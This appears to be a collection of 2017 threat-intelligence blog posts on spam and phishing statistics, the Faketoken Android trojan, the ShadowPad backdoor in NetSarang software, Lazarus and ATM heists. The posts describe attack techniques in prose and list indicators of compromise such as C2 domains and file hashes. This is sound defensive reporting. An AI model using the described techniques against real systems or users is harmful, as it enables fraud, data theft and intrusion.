This archive contained a malicious program belonging to the Loki Bot family designed to steal passwords from FTP, mail clients and passwords stored in browsers, as well as crypto-currency wallets.

This archive contains the Exploit.Win32.BypassUAC.bwc malicious program, designed to steal passwords for network resources and email clients. To elevate privilege, the malware uses an exploit that bypasses the protection of the Microsoft Windows UAC component. During the operation it uses legitimate utilities to restore passwords.

This archive contains an XLS-file with a macro that was used to download HawkEye Keylogger to the victim’s computer. This malicious program written in .NET intercepts keystrokes and collects information about the system where it operates: internal and external IP addresses, the OS version as well as the name of the security product and the firewall.

This archive contains two malicious files: EXE, disguised as PDF (detected as Trojan.Win32.VBKrypt.xdps) and an MSWord document with an exploit that uses the CVE-2017-0199 vulnerability. Both malicious programs download a modification of Zeus to the victim’s computer.

Such targeted attacks can have different aims. In the case of ransomware, it is obvious that a company’s intellectual property can be viewed as being much more valuable than the information on a private computer, so a potential victim is more likely to pay the necessary bitcoins to get it back. In the case of spyware designed to steal financial information, fraudsters can potentially hit the jackpot once they get access to a company’s accounts.

Spyware in the B2B sector can also be used in more sophisticated schemes of financial fraud, including MITM attacks during financial transactions. One such scheme disclosed by our colleagues is described here.

Interestingly, although the payload downloaded on the victim’s computer is very different, its main function is the theft of authentication data, which means that most attacks on the corporate sector have financial goals.

We shouldn’t forget about the potentially dangerous situation where an attacker gains access to a corporate network and gets control of industrial equipment.

Overall in the second quarter of 2017, the percentage of spam in email traffic grew slightly from the previous quarter. The number of email antivirus detections increased by 17% in Q2 vs. Q1.

The number of email antivirus detections on the computers of Kaspersky Lab users, Q1 and Q2 2017.

Necurs botnet continues to distribute spam

The Necurs botnet continues to distribute spam, although the volumes are much smaller than in 2016. This botnet operation is characterized by alternating periods of low and high activity, when we register up to 2 million emails a day sent to Kaspersky Lab customers. In addition to malicious mailings from the botnet, Necurs actively spreads pump-and-dump as well as dating spam:

Malicious emails from the Necurs botnet are usually concise, contain files with DOC, PDF or other extensions. Sometimes, instead of attachments, emails include links to cloud storages such as Dropbox from where malicious files are downloaded.

Spam via legal services

Last quarter we wrote that in order to bypass filters, spammers often spread advertising and fraudulent offers via legitimate means. They include, for example, the ‘Invite friends’ field on social networking sites, notifications about comments that are usually sent to the recipient’s email address, or any other method available on the various sites that allow the sending of emails to a user’s list of trusted addresses. In addition, this type of spam is more difficult to detect because the source is legitimate. Spammers also like it because this type of resource makes for easy targeting. For example, they exploit job search sites to publicize easy earnings or for financial fraud:

Domain fraud

Last quarter we discovered several different mass mailings related to the domain fraud.

One of the mailings was sent in the name of a major company involved in the registration of domain names and addressed the administrators of registered domains. They were informed that it was necessary to activate a domain to confirm their administrator status and ability to manage the domain. These measures were allegedly taken in accordance with the amendments made to regulations by ICANN (Internet Corporation for Assigned Names and Numbers).

To do this, the administrator was told they had a limited time to create a PHP file with specific content in the root directory of the site. The email also stated that failure to observe these conditions would mean the confirmation procedure had not been completed and support for the domain would be suspended.

If the script is launched on the victim’s site, the attackers would be able to gain control of the site and to run any code. In addition, the script makes it possible to collect all user data entered on the site where it is registered and run. The fact that many of these fake emails were sent to addresses belonging to banks, means we can assume that the scammers wanted to collect data entered on the website of those banks, including the logins and passwords used for Internet banking.

Administrators also found themselves the target of yet another type of domain fraud. It involved the administrator of an organization receiving an email prompting them to register their domain with search engines to help potential customers find the company on the Internet. These messages came from addresses generated on free hosting.

This service was provided on a fee basis. In order to see the list of tariffs, the recipient was asked to click a link in the email that was “hosted” on a legitimate website. After choosing a tariff, the user had to fill in and send a form that asked for detailed personal information, including credit card information.

Statistics Proportion of spam in email traffic

Percentage of spam in global email traffic, Q1 2017 and Q2 2017

In Q2 2017, the largest percentage of spam – 57.99% – was registered in April. The average share of spam in global email traffic for the second quarter amounted to 56.97%, which was 1.07 p.p. more than in the previous quarter.

Sources of spam by country

Sources of spam by country, Q2 2017

The second quarter of 2017 saw a change in the top three sources of spam. Vietnam came first, accounting for 12.37% of world spam. It was followed by the previous quarter’s leader the US, whose share dropped by 8.65 p.p. and accounted for 10.1%. China (8.96%, +1.19 p.p.) completed the top three.

India was the fourth biggest source, responsible for 8.77% (+3.61 p.p.) of total spam, followed by Germany (5.06%, -0.31 p.p.).

Russia, in sixth place, accounted for 4.99%, which is only 0.06 p.p. less than in the previous quarter.

The top 10 biggest sources also included Brazil (4.47%), France (4.35%), Iran (2.49%), and the Netherlands with a share of 1.96%.

Spam email size

Breakdown of spam emails by size, Q1 2017 and Q2 2017

In Q2 2017, the share of small emails (up to 2 KB) in spam traffic changed only slightly and averaged 37.41%, which is 1.9 p.p. more than in the first quarter. The proportion of emails sized 2–5 KB remained at the same level: 4.54%; and those of 5–10 KB (7.83%) declined by 1.36 p.p. and accounted for 5.94%.

The proportion of emails sized 10-20 KB reached 18.31% and emails of 20-50 KB — 27.16%. The proportion of more emails sized 100 KB+ was slightly more than 2%.

Malicious attachments in email Top 10 malware families

TOP 10 malware families in Q2 2017

Trojan-Downloader.JS.SLoad (8.73%) topped the rating of the most popular malware families. Trojan-Downloader.JS.Agent (3.31%) came second, while Trojan-PSW.Win32.Fareit (3.29%) rounded off the top three.

Trojan-Downloader.JS.Agent (3.05%) came fourth followed by Worm.Win32.WBVB (2.59%).

Newcomers to the top 10, Backdoor.Java.QRat (1.91%) and Trojan.PDF.Phish (1.66%), occupied seventh and ninth places respectively.

The Backdoor.Java.QRat family is a cross-platform multifunctional backdoor written in Java and sold on DarkNet as malware-as-a-service (MaaS). It is typically distributed via email as a JAR attachment.

Trojan.PDF.Phish is a PDF document containing a link to a phishing site where users are prompted to enter their login and password for a specific service.

Countries targeted by malicious mailshots

Distribution of email antivirus verdicts by country, Q2 2017

Germany (12.71%) was the country targeted most by malicious mailshots in Q2 2017. China, last quarter’s leader, came second (12.09%), followed by the UK (9.11%).

Japan (5.87%) was fourth, with Russia occupying fifth with a share of 5.67%. Next came Brazil (4.99%), Italy (3.96%), Vietnam (3.06%) and France (2.81%).

The US (2.31%) completed the top 10.

Phishing

In the second quarter of 2017, the Anti-Phishing system prevented 46,557,343 attempted visits to phishing pages on the computers of Kaspersky Lab users. Overall, 8.26% of unique users of Kaspersky Lab products worldwide were attacked by phishers in Q2 2017.

Geography of attacks

In Q2 2017, Brazil (18.09%) was the country where the largest percentage of users was affected by phishing attacks, although its share decreased by 1.07 p.p. compared to the previous quarter.

Geography of phishing attacks*, Q2 2017
* Number of users on whose computers the Anti-Phishing system was triggered as a percentage of the total number of Kaspersky Lab users in that country

The percentage of users attacked in China decreased by 7.24 p.p. and amounted to 12.85%, placing the country second in this ranking. Australia added 1.96 p.p. to the previous quarter’s figure and came third with 12.69%. The percentage of attacked users in New Zealand increased to 12.06% (+ 0.12p.p.), with Azerbaijan (11.48%) in fifth. The Republic of South Africa (9.38%), Argentina (9.35%) and the UK (9.29%) rounded off this top 10.

In the second quarter, Russia (8.74%) exited this top 10 of countries with the largest percentage of users affected by phishing attacks, falling to 18th place.

Brazil 18.09% China 12.85% Australia 12.69% New Zealand 12.06% Azerbaijan 11.48% Canada 11.28% Qatar 10. 68% Venezuela 10.56% South Africa 9.38% Argentina 9.35% UK 9.29%

TOP 10 countries by percentage of users attacked

Organizations under attack Rating the categories of organizations attacked by phishers

The rating of attacks by phishers on different categories of organizations is based on detections of Kaspersky Lab’s heuristic anti-phishing component. It is activated every time a user attempts to open a phishing page while information about it has not yet been included in Kaspersky Lab’s databases. It does not matter how the user attempts to open the page – by clicking a link in a phishing email or in a message on a social network or, for example, as a result of malware activity. After the security system is activated, a banner is displayed in the browser warning the user about a potential threat.

In Q2 2017, the Banks (23.49%, -2.33 p.p.), Payment systems (18.40%, +4.8 p.p.) and Online stores (9.58%, -1.31 p.p.) categories accounted for more than half (51.47%) of all registered attacks.

Distribution of organizations affected by phishing attacks by category, Q2 2017

Hot topics this quarter Airline tickets

In the second quarter of 2017, Facebook was hit with a wave of posts that falsely claimed that major airlines were giving away tickets for free. Naturally, there were no promotions giving away airline tickets: fraudsters had created a number of sites on which users were congratulated on winning an air ticket and were asked to perform a series of actions to receive their prize. First, the victims were asked to post the promotional information on their Facebook page. Secondly, the victims had to click the “Like” button. After performing all the necessary actions, the website redirected the user to a resource promoted by the fraudsters. The content of these pages varied – from harmless ads to malicious software.

False browser blocking

Almost all the popular browsers have built-in protection against web threats. When entering a malicious or phishing page, they often warn the user of the potential dangers and recommend not visiting it.

Fraudsters also make use this protection measure for their own purposes and distract the victim with warnings. For example, they simulate the Chrome blocking page. A user who has ever seen this warning from the browser is more likely to trust the page and follow the criminals’ prompts.

The main danger of these pages is that careful examination of the address bar doesn’t help – a browser warning usually “pops up” on untrusted web resources.

However, they may also appear when trying to enter a domain belonging to companies that act as a hosting service. And it is precisely such warnings that cause the victims to have greater trust in them:

As a rule, when a user calls the numbers specified, the fraudsters pretend to be a support service, tricking victims into paying for services they allegedly need.

Punycode encoding

Close examination of the address bar may not help if the phishers use non-Latin characters that are similar to Latin letters to create domain names that are almost identical to the names of popular web resources. Web browsers use Punycode to represent Unicode characters in a URL. However, if all the characters in the domain name belong to the character set of one language, the browser will display them in the language specified rather than in Punycode.

The screenshot of the phishing page below demonstrates this technique.

Sometimes on closer examination, you can see inconsistencies, for example, like the dot under the letter ‘e’.

Have a look at the banner of the blocking site: it displays a URL in Punycode. However, it differs from what we see in the browser. This address is definitely not a domain owned by a well-known company.

Technically, the address is completely different from the original one. Moreover, phishers have used different encodings in the names of pages before. However, for ordinary users, recognizing this type of phishing can be a problem.

Attacks on Uber users

One of Q2’s high-profile news stories was an attack on Uber users. Phishing pages were distributed via spam mailings; recipients were offered a large discount if they completed a “registration” form, where in addition to personal data they had to enter their bank card information. After completing the questionnaire, the user was redirected to the legitimate site of the company.

Because Uber often holds promotions and offers discounts, users are less inclined to doubt the authenticity of the offer.

TOP 3 attacked organizations

Fraudsters continue to focus most of their attention on the most popular brands, enhancing their chances of a successful phishing attack. More than half of all detections of Kaspersky Lab’s heuristic anti-phishing component are for phishing pages hiding behind the names of fewer than 15 companies.

Organization % of detected phishing links Facebook 8.33 Microsoft Corporation 8.22 Yahoo! 8.01

For the third quarter in a row the top three organizations attacked most often by phishers remained unchanged. In Q1, Yahoo! was the organization whose brand was mentioned most often on phishing pages. However, in the second quarter it dropped to third, giving way to Facebook (8.33%) and Microsoft (8.22%).

One of the phishers’ tricks is to place pages of popular organizations on domains belonging to other popular organizations. In the example below, a link to a free hosting service is shown, and while not all users will know what this is, mentioning Google is more likely to make them think it’s genuine.

The actual data form is usually located on another domain, where a user ends up after clicking on the button.

Conclusion

In Q2 2017, the average share of spam in global email traffic amounted to 56.97%, which was only 1.07 p.p. more than in the previous quarter. One of the most notable events of this quarter – the WannaCry epidemic – did not go unnoticed by spammers: numerous mass mailings contained offers of assistance in combating the ransomware, as well as various workshops and training for users.

In the second quarter, the most popular malware family was the JS.SLoad (8.73%), with another downloader, MSWord.Agent, in second (3.31%). The Fareit Trojan family (3.29%) rounded off the top three.

The Anti-Phishing system prevented over 46.5 million attempted visits to phishing pages on the computers of Kaspersky Lab users. Overall, 8.26% of unique users of Kaspersky Lab products worldwide were attacked by phishers in Q2 2017. Noticeably, in their earlier attacks, fraudsters counted on user carelessness and low levels of Internet literacy. However, as users are becoming more cyber savvy, phishers have had to come up with new tricks, such as placing phishing pages on domains owned by well-known organizations.

2017. augusztus 17.

Booking a Taxi for Faketoken

The Trojan-Banker.AndroidOS.Faketoken malware has been known about for already more than a year. Throughout the time of its existence, it has worked its way up from a primitive Trojan intercepting mTAN codes to an encrypter. The authors of its newer modifications continue to upgrade the malware, while its geographical spread is growing. Some of these modifications contain overlay mechanisms for about 2,000 financial apps. In one of the newest versions, we also detected a mechanism for attacking apps for booking taxis and paying traffic tickets issued by the Main Directorate for Road Traffic Safety.

Not so long ago, thanks to our colleagues from a large Russian bank, we detected a new Trojan sample, Faketoken.q, which contained a number of curious features.

Infection

We have not yet managed to reconstruct the entire chain of events leading to infection, but the application icon suggests that the malware sneaks onto smartphones through bulk SMS messages with a prompt to download some pictures.

The malware icon

The structure of the malware

The mobile Trojan that we examined consists of two parts. The first part is an obfuscated dropper (verdict: Trojan-Banker.AndroidOS.Fyec.az): files like this are usually obfuscated on the server side in order to resist detection. At first glance, it may seem that its code is gibberish:

However, this is code works quite well. It decrypts and launches the second part of the malware. This is standard practice these days, whereas unpacked Trojans are very rare.

The second part of the malware, which is a file with DAT extensions, contains the malware’s main features. The data becomes encrypted:

By decrypting the data, it is possible to obtain a rather legible code:

After the Trojan initiates, it hides its shortcut icon and starts to monitor all of the calls and whichever apps the user launches. Upon receiving a call from (or making a call to) a certain phone number, the malware begins to record the conversation and sends it to evildoers shortly after the conversation ends.

The code for recording a conversation

The authors of Faketoken.q kept the overlay features and simplified them considerably. So, the Trojan is capable of overlaying several banking and miscellaneous applications, such as Android Pay, Google Play Store, and apps for paying traffic tickets and booking flights, hotel rooms, and taxis.

Faketoken.q monitors active apps and, as soon as the user launches a specific one, it substitutes its UI with a fake one, prompting the victim to enter his or her bank card data. The substitution happens instantaneously, and the colors of the fake UI correspond to those of the original launched app.

It should be noted that all of the apps attacked by this malware sample have support for linking bank cards in order to make payments. However, the terms of some apps make it mandatory to link a bank card in order to use the service. As millions of Android users have these applications installed, the damage caused by Faketoken can be significant.

However, the following question may arise: what do fraudsters do in order to process a payment if they have to enter an SMS code sent by the bank? Evildoers successfully accomplish this by stealing incoming SMS messages and forwarding them to command-and-control servers.

We are inclined to believe that the version that we got our hands on is still unfinished, as screen overlays contain formatting artifacts, which make it easy for a victim to identify it as fake:

The screen overlays for the UI of a taxi-booking app

As screen overlays are a documented feature widely used in a large number of apps (window managers, messengers, etc.), protecting yourself against such fake overlays is quite complicated, a fact that is exploited by evildoers.

To this day we still have not registered a large number of attacks with the Faketoken sample, and we are inclined to believe that this is one of its test versions. According to the list of attacked applications, the Russian UI of the overlays, and the Russian language in the code, Faketoken.q is focused on attacking users from Russia and CIS countries.

Precautions

In order to avoid falling victim to Faketoken and apps similar to it, we strongly discourage the installation of third-party software on your Android device. A mobile security solution like Kaspersky Mobile Antivirus: Web Security & AppLock would be quite helpful too.

MD5

CF401E5D21DE36FF583B416FA06231D5

2017. augusztus 15.

ShadowPad in corporate networks

 ShadowPad, part 2: Technical Details (PDF)

In July 2017, during an investigation, suspicious DNS requests were identified in a partner’s network. The partner, which is a financial institution, discovered the requests originating on systems involved in the processing of financial transactions.

Further investigation showed that the source of the suspicious DNS queries was a software package produced by NetSarang. Founded in 1997, NetSarang Computer, Inc. develops, markets and supports secure connectivity solutions and specializes in the development of server management tools for large corporate networks. The company maintains headquarters in the United States and South Korea.

NetSarang website

Our analysis showed that recent versions of software produced and distributed by NetSarang had been surreptitiously modified to include an encrypted payload that could be remotely activated by a knowledgeable attacker.

The backdoor was embedded into one of the code libraries used by the software (nssock2.dll):

Backdoored dll in a list of loaded modules of Xshell5 sofware

Disposition of the NSSOCK2.DLL binary with embedded malicious code

The attackers hid their malicious intent in several layers of encrypted code. The tiered architecture prevents the actual business logics of the backdoor from being activated until a special packet is received from the first tier command and control (C&C) server (“activation C&C server”). Until then, it only transfers basic information, including the computer, domain and user names, every 8 hours.

Activation of the payload would be triggered via a specially crafted DNS TXT record for a specific domain. The domain name is generated based on the current month and year values, e.g. for August 2017 the domain name used would be “nylalobghyhirgh.com”.

DNS queries to C&C from backdoored nssock2.dll

Only when triggered by the first layer of C&C servers does the backdoor activate its second stage

The module performs a quick exchange with the controlling DNS server and provides basic target information (domain and user name, system date, network configuration) to the server. The C&C DNS server in return sends back the decryption key for the next stage of the code, effectively activating the backdoor. The data exchanged between the module and the C&C is encrypted with a proprietary algorithm and then encoded as readable latin characters. Each packet also contains an encrypted “magic” DWORD value “52 4F 4F 44” (‘DOOR’ if read as a little-endian value).

Our analysis indicates the embedded code acts as a modular backdoor platform. It can download and execute arbitrary code provided from the C&C server, as well as maintain a virtual file system (VFS) inside the registry. The VFS, and any additional files created by the code, are encrypted and stored in a location unique to each victim. The remote access capability includes a domain generation algorithm (DGA) for C&C servers which changes every month. The attackers behind this malware have already registered the domains covering July to December 2017, which indirectly confirms alleged start date of the attack as around mid July 2017.

Currently, we can confirm activated payload in a company in Hong Kong. Given that the NetSarang programs are used in hundreds of critical networks around the world, on servers and workstations belonging to system administrators, it is strongly recommended that companies take immediate action to identify and contain the compromised software.

Kaspersky Lab products detect and protect against the backdoored files as “Backdoor.Win32.ShadowPad.a”.

We informed NetSarang of the compromise and they immediately responded by pulling down the compromised software suite and replacing it with a previous clean version. The company has also published a message acknowledging our findings and warning their customers.

ShadowPad is an example of the dangers posed by a successful supply-chain attack. Given the opportunities for covert data collection, attackers are likely to pursue this type of attack again and again with other widely used software components. Luckily, NetSarang was fast to react to our notification and released a clean software update, most likely preventing hundreds of data-stealing attacks against their clients. This case is an example of the value of threat research as a means to secure the wider internet ecosystem. No single entity is in a position to defend all of the links in an institution’s software and hardware supply-chain. With successful and open cooperation, we can help weed out the attackers in our midst and protect the internet for all users, not just our own.

For more information please contact: intelreports@kaspersky.com

Frequently Asked Questions What does the code do if activated?

If the backdoor were activated, the attacker would be able to upload files, create processes, and store information in a VFS contained within the victim’s registry. The VFS and any additional files created by the code are encrypted and stored in locations unique to each victim.

Which software packages were affected?

We have confirmed the presence of the malicious file (nssock2.dll) in the following packages previously available on the NetSarang site:

Xmanager Enterprise 5 Build 1232
Xme5.exe, Jul 17 2017, 55.08 MB
MD5: 0009f4b9972660eeb23ff3a9dccd8d86
SHA1: 12180ff028c1c38d99e8375dd6d01f47f6711b97

Xmanager 5 Build 1045
Xmgr5.exe, Jul 17 2017, 46.2 MB
MD5: b69ab19614ef15aa75baf26c869c9cdd
SHA1: 35c9dae68c129ebb7e7f65511b3a804ddbe4cf1d

Xshell 5 Build 1322
Xshell5.exe, Jul 17 2017, 31.58 MB
MD5: b2c302537ce8fbbcff0d45968cc0a826
SHA1: 7cf07efe04fe0012ed8beaa2dec5420a9b5561d6

Xftp 5 Build 1218
Xftp5.exe, Jul 17 2017, 30.7 MB
MD5: 78321ad1deefce193c8172ec982ddad1
SHA1: 08a67be4a4c5629ac3d12f0fdd1efc20aa4bdb2b

Xlpd 5 Build 1220
Xlpd5.exe, Jul 17 2017, 30.22 MB
MD5: 28228f337fdbe3ab34316a7132123c49
SHA1: 3d69fdd4e29ad65799be33ae812fe278b2b2dabe

Is NetSarang aware of this situation?

Yes, we contacted the vendor and received a swift response. Shortly after notification by Kaspersky Lab all malicious files were removed from NetSarang website.

How did you find the software was backdoored?

During an investigation, suspicious DNS requests were identified on a partner’s network. The partner, which is a financial institution, detected these requests on systems related to the processing of financial transactions. Our analysis showed that the source of these suspicious requests was a software package produced by NetSarang.

When did the malicious code first appear in the software?

A fragment of code was added in nssock2.dll (MD5: 97363d50a279492fda14cbab53429e75), compiled Thu Jul 13 01:23:01 2017. The file is signed with a legitimate NetSarang certificate (Serial number: 53 0C E1 4C 81 F3 62 10 A1 68 2A FF 17 9E 25 80). This code is not present in the nssock2.dll from March (MD5: ef0af7231360967c08efbdd2a94f9808) included with the NetSarang installation kits from April.

How do I detect if code is present on a system?

All Kaspersky Labs products detect and cure this threat as Backdoor.Win32.Shadowpad.a. If for some reason you can’t use an antimalware solution you can check if there were DNS requests from your organization to these domains:

  • ribotqtonut[.]com
  • nylalobghyhirgh[.]com
  • jkvmdmjyfcvkf[.]com
  • bafyvoruzgjitwr[.]com
  • xmponmzmxkxkh[.]com
  • tczafklirkl[.]com
  • notped[.]com
  • dnsgogle[.]com
  • operatingbox[.]com
  • paniesx[.]com
  • techniciantext[.]com
How do I clean any affected systems?

All Kaspersky Lab products successfully detect and disinfect the affected files as “Backdoor.Win32.Shadowpad.a” and actively protect against the threat.

If you do not have a Kaspersky product installed, then:

  1. Update to the latest version of the NetSarang package.
  2. Block DNS queries to the C2 domains listed in Appendix A.
What kind of companies/organizations/ are targeted by the attackers?

Based on the vendor profile, the attackers could be after a broad set of companies who rely on NetSarang software, which includes banking and financial industry, software and media, energy and utilities, computers and electronics, insurance, industrial and construction, manufacturing, pharmaceuticals, retail, telecommunications, transportation and logistics and other industries.

Who is behind this attack?

Attribution is hard and the attackers were very careful to not leave obvious traces. However certain techniques were known to be used in another malware like PlugX and Winnti, which were allegedly developed by Chinese-speaking actors.

How did the attackers manage to get access to create trojanized updates. Does that mean that NetSarang was hacked?

An investigation is in progress, but since code was signed and added to all software packages it could point to the fact that attackers either modified source codes or patched software on the build servers.

Appendix A – Indicators of Compromise

At this time, we have confirmed the presence of the malicious “nssock2.dll” in the following packages downloaded from the NetSarang site:

Xmanager Enterprise 5 Build 1232
Xme5.exe, Jul 17 2017, 55.08 MB
MD5: 0009f4b9972660eeb23ff3a9dccd8d86
SHA1: 12180ff028c1c38d99e8375dd6d01f47f6711b97

Xmanager 5 Build 1045
Xmgr5.exe, Jul 17 2017, 46.2 MB
MD5: b69ab19614ef15aa75baf26c869c9cdd
SHA1: 35c9dae68c129ebb7e7f65511b3a804ddbe4cf1d

Xshell 5 Build 1322
Xshell5.exe, Jul 17 2017, 31.58 MB
MD5: b2c302537ce8fbbcff0d45968cc0a826
SHA1: 7cf07efe04fe0012ed8beaa2dec5420a9b5561d6

Xftp 5 Build 1218
Xftp5.exe, Jul 17 2017, 30.7 MB
MD5: 78321ad1deefce193c8172ec982ddad1
SHA1: 08a67be4a4c5629ac3d12f0fdd1efc20aa4bdb2b

Xlpd 5 Build 1220
Xlpd5.exe, Jul 17 2017, 30.22 MB
MD5: 28228f337fdbe3ab34316a7132123c49
SHA1: 3d69fdd4e29ad65799be33ae812fe278b2b2dabe

Domains:

ribotqtonut[.]com
nylalobghyhirgh[.]com
jkvmdmjyfcvkf[.]com
bafyvoruzgjitwr[.]com
xmponmzmxkxkh[.]com
tczafklirkl[.]com
notped[.]com
dnsgogle[.]com
operatingbox[.]com
paniesx[.]com
techniciantext[.]com

DLL with the encrypted payload:

97363d50a279492fda14cbab53429e75

NetSarang packages which contain the DLL with the encrypted payload (same as above, just the list of MD5 sums):

0009f4b9972660eeb23ff3a9dccd8d86
b69ab19614ef15aa75baf26c869c9cdd
b2c302537ce8fbbcff0d45968cc0a826
78321ad1deefce193c8172ec982ddad1
28228f337fdbe3ab34316a7132123c49

File names:

nssock2.dll

2017. augusztus 15.

IT threat evolution Q2 2017

Targeted attacks and malware campaigns Back to the future:  looking for a link between old and new APTs

This year’s Security Analyst Summit (SAS) included interesting research findings on several targeted attack campaigns.  For example, researchers from Kaspersky Lab and King’s College London presented their findings on a possible link between Moonlight Maze, a 20 year old cyber-espionage attack that targeted the Pentagon, NASA and others, and Turla – a very modern APT  group.

Contemporary reports on Moonlight Maze show how, starting from 1996, US military and government networks, as well as universities, research institutions and even the Department of Energy, began detecting breaches in their systems.   The FBI and the Department of Defense launched a massive investigation in 1998.  However, although the story became public the following year, much of the evidence has remained classified, leaving the details of Moonlight Maze shrouded in myth and secrecy.  Nevertheless, over the years several investigators have stated that Moonlight Maze evolved into Turla.

In 2016, while researching his book Rise of the Machines, Thomas Rid of Kings College London tracked down a former system administrator whose organisation’s server had been hijacked as a proxy by the Moonlight Maze attackers.  This server, ‘HRTest’, had been used to launch attacks on the US.  The now-retired IT professional had kept the original server and copies of everything relating to the attacks, and handed it to Kings College and Kaspersky Lab for further analysis.  Kaspersky Lab researchers, Juan Andres Guerrero-Saade and Costin Raiu, together with Thomas Rid and Danny Moore from Kings College, spent nine months undertaking a detailed technical analysis of these samples.  They reconstructed the attackers’ operations, tools, and techniques, and conducted a parallel investigation to see if they could prove the claimed connection with Turla.

Moonlight Maze was an open-source Unix-based attack targeting Solaris systems, and the findings show that it made use of a backdoor based on LOKI2 (a program released in 1996 that enables users to extract data via covert channels).  This led the researchers to take a second look at some rare Linux samples used by Turla that Kaspersky Lab had discovered in 2014. These samples, named Penguin Turla, are also based on LOKI2.  Further, the re-analysis showed that all of them use code created between 1999 and 2004.

Remarkably, we’re still seeing attacks that use this code.  It was seen in the wild in 2011 in an attack on defence contractor Ruag in Switzerland that has been attributed to Turla.  Then, in March 2017, Kaspersky Lab researchers discovered a new sample of the Penguin Turla backdoor submitted from a system in Germany.  It is possible that Turla uses the old code for attacks on highly secure victims that might be harder to breach using its more standard Windows toolset.

The newly unearthed Moonlight Maze samples reveal many fascinating details about how the attacks were conducted using a complex network of proxies, and the high level of skills and tools used by the attackers.

So did Moonlight Maze evolve into Turla?  It is not possible to say at this time.  The next step would focus on a little known operation called ‘Storm Cloud:  the evolved toolkit used by the Moonlight Maze operators once the initial intrusions became public in 1999.  The story of Storm Cloud leaked out in 2003 with little fanfare.  However, a few prescient details led us to believe that this intrusion set might give a more definitive answer.

You can find details of the research here.

Lazarus uncovered

In February 2016 a group of hackers (unidentified at that time) attempted to steal $851 million – and succeeded in transferring $81 million from the Central Bank of Bangladesh – in what is considered to be the largest and most successful cyber-heist ever.  Research by Kaspersky Lab and others revealed that the attacks were almost certainly conducted by Lazarus, a notorious cyber-espionage and sabotage group – responsible for the attack on Sony Pictures in 2014, as well attacks on manufacturing companies, media and financial institutions in at least 18 countries around the world since 2009.

Based on our investigations into attacks by the group on financial institutions in South East Asia and Europe, we have been able to provide an insight into the modus operandi of the Lazarus group.

Typically, the initial compromise occurs when a single system within a bank is breached, either by compromising a corporate server or by means of a watering-hole attack – that is, by placing exploit code on a legitimate web site visited by staff at the target institution.  Then the attackers move to other hosts within the organisation and plant a rudimentary backdoor on infected computers.  The group then spends time (days or even weeks) identifying valuable resources within the organisation.  Finally the attackers deploy special malware designed to bypass internal security features and issue rogue banking transactions.

The Lazarus group operates across the globe:  we have found infiltration tools used by Lazarus in multiple countries in the last year or so.

The Lazarus group is very large and has historically focused mainly on cyber-espionage and cyber-sabotage activities.  The group’s interest in financial gain is relatively new and it seems as though a different team within Lazarus is responsible for the generation of illegal profits:  we have dubbed this team Bluenoroff.  So far, we have seen four main types of target:  financial institutions, casinos, companies developing financial trade software and those in the crypto-currency business.

One of the most notable Bluenoroff campaigns was its attacks on financial institutions in Poland.  The attackers were able to compromise a government web site that is frequently accessed by many financial institutions – making it a particularly powerful attack vector.

The Lazarus group goes to great lengths to cover its tracks.  However, one of our research partners made an interesting discovery when completing a forensic analysis of a Command-and-Control (C2) server in Europe that was used by the group.  Based on the forensic analysis report, it was apparent that the attacker connected to the server via Terminal Services and manually installed an Apache Tomcat server using a local browser, configured it with Java Server Pages and uploaded the JSP script for the C2.  Once the server was ready, the attacker started testing it, first with a browser, then by running test instances of their backdoor.  The operator used multiple IPs – from France to Korea, connecting via proxies and VPN servers. However, one short connection was made from a very unusual IP range, which originates in North Korea.  The operator also installed off-the-shelf crypto-currency mining software that should generate Monero crypto-coins:  this software consumed system resources so intensely that the system became unresponsive and froze.  This could be the reason why it was not properly cleaned, and the server logs were preserved.  Of course, while the link to North Korea is interesting, this doesn’t mean we can conclude that North Korea is behind all the Bluenoroff attacks:  someone in North Korea could have accidentally visited the C2 server, or it could be a deliberate false flag operation.

Lazarus is not just another APT group.  The scale of the Lazarus group’s operations is shocking:  it appears that Lazarus operates a malware factory, generating new tools as old ones are ‘burned’.  The group uses various code obfuscation techniques, re-writes its own algorithms, applies commercial software protectors, and uses its own and underground packers.  Typically, the group pushes rudimentary backdoors during the first stage of infection – ‘burning’ these doesn’t affect the group too much.   However, if the first stage backdoor reports an interesting infection they start deploying more advanced code, carefully protecting it from accidental detection on disk:  the code is wrapped into a DLL loader or stored in an encrypted container, or maybe hidden in a binary encrypted registry value.  This usually comes with an installer that only the attackers can use, because they password protect it.  This guarantees that automated systems – be it a public sandbox or a researcher’s environment – will never see the real payload.  This level of sophistication is something that is not generally found in the cybercriminal world and requires strict organisation and control at all stages of operation.  It also explains Lazarus branching out into operations to general illegal profits – operations of this kind require lots of money.

The best defence against targeted attacks is a multi-layered approach that combines traditional anti-malware technologies with patch management, host intrusion detection and a default-deny whitelisting strategy.  According to a study by the Australian Signals Directorate, 85 per cent of targeted attacks analysed can be stopped by employing four simple mitigation strategies:  application whitelisting, updating applications, updating operating systems and restricting administrative privileges.

You can find our report on the activities of the Lazarus group here.

Beating the bank

At this year’s Security Analyst Summit two of our researchers, Sergey Golovanov and Igor Soumenkov, discussed three cases where cybercriminals had stolen money from ATMs.

The first, ATMitch, involved compromising the bank’s infrastructure in order to controlling the operation of the ATM remotely.  The attackers exploited an unpatched vulnerability to penetrate the target bank’s servers.  They used open source code and publicly available tools to infect computers in the bank.  However, the malware they created resided in memory only, not on the hard drives, and almost all traces of the malware were removed when the computer was re-booted.  Following the infection, the attackers established a connection to their C2 server, allowing them to remotely install malware on the ATMs.  Since this looked like a legitimate update, it didn’t trigger any alerts at the bank.  Once installed, the malware looked for the file ‘command.txt’ – this contains the single-character commands that control the ATM.  The malware first issues a command to find out how much money is in the ATM, then issues a further command to dispense money – collected by a money mule waiting at the ATM.  After this, the malware writes all the information about the operation into the log file and wipes ‘command.txt’ clean.

What alerted bank staff to the malware was a single file called ‘kl.txt’.  Thinking that this might have something to do with Kaspersky Lab, the bank called us and asked us to investigate.  We created a YARA rule to search our systems for this file and discovered that we had been seen it twice – once in Russia and once in Kazakhstan.  This enabled us to reverse engineer the malware and understand how the attack works.

One of the other bank attacks also started with a request from the bank.  Money was missing, but the ATM logs were clear and the criminals had taped over the CCTV camera, so that there was no recording of the attack.  The bank delivered the ATM to our office and, after disassembling it, we discovered that there was a Bluetooth adaptor connected to the ATM’s USB hub.  The criminals had installed a Bluetooth adaptor on the ATM and had waited three months for the log to clear.  Then they returned to the ATM, covered the security cameras and used a Bluetooth keyboard to re-boot the ATM in service mode and emptied the dispenser.

